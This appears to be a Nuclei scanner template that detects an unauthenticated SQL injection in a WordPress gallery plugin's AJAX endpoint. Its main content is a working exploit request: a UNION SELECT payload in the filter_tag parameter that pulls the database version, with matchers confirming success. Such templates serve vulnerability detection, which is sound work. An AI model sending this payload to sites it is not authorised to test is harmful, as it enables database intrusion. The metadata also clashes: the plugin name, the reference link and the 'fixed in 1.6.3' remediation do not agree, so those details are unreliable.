46 lines
1.6 KiB
YAML
46 lines
1.6 KiB
YAML
id: contus-video-gallery-sqli
|
|
|
|
info:
|
|
name: WordPress Video Gallery <= 2.8 - SQL Injection
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action (available to unauthenticated users), leading to an SQL injection.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/b625aee5-8fd1-4f3e-9a9c-d41bdec13243
|
|
- https://wordpress.org/plugins/photo-gallery/
|
|
remediation: Fixed in version 1.6.3
|
|
metadata:
|
|
max-request: 1
|
|
verified: true
|
|
tags: sqli,wpscan,wordpress,contus-video-gallery,unauth
|
|
|
|
variables:
|
|
num: '999999999'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
@timeout: 10s
|
|
POST /wp-admin/admin-ajax.php?image_id=123 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
action=GalleryBox&filter_tag=1)" union select * from (select 123)a1 join (select 2)a2 join (select 3)a3 join (select 2)a4 join (select 2)a5 join (select 2)a6 join (select 2)a7 join (select 2)a8 join (select 2)a9 join (select 2)a10 join (select 2)a11 join (select 2)a12 join (select 2)a13 join (select 2)a14 join (select 2)a15 join (select 2)a16 join (select 2)a17 join (select 2)a18 join (select version())a19 join (select md5({{num}}))a20 join (select 2)a21 join (select 2)a22 join (select 2)a23-- -
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "c8c605999f3d8352d7bb792cf3fdb25b"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|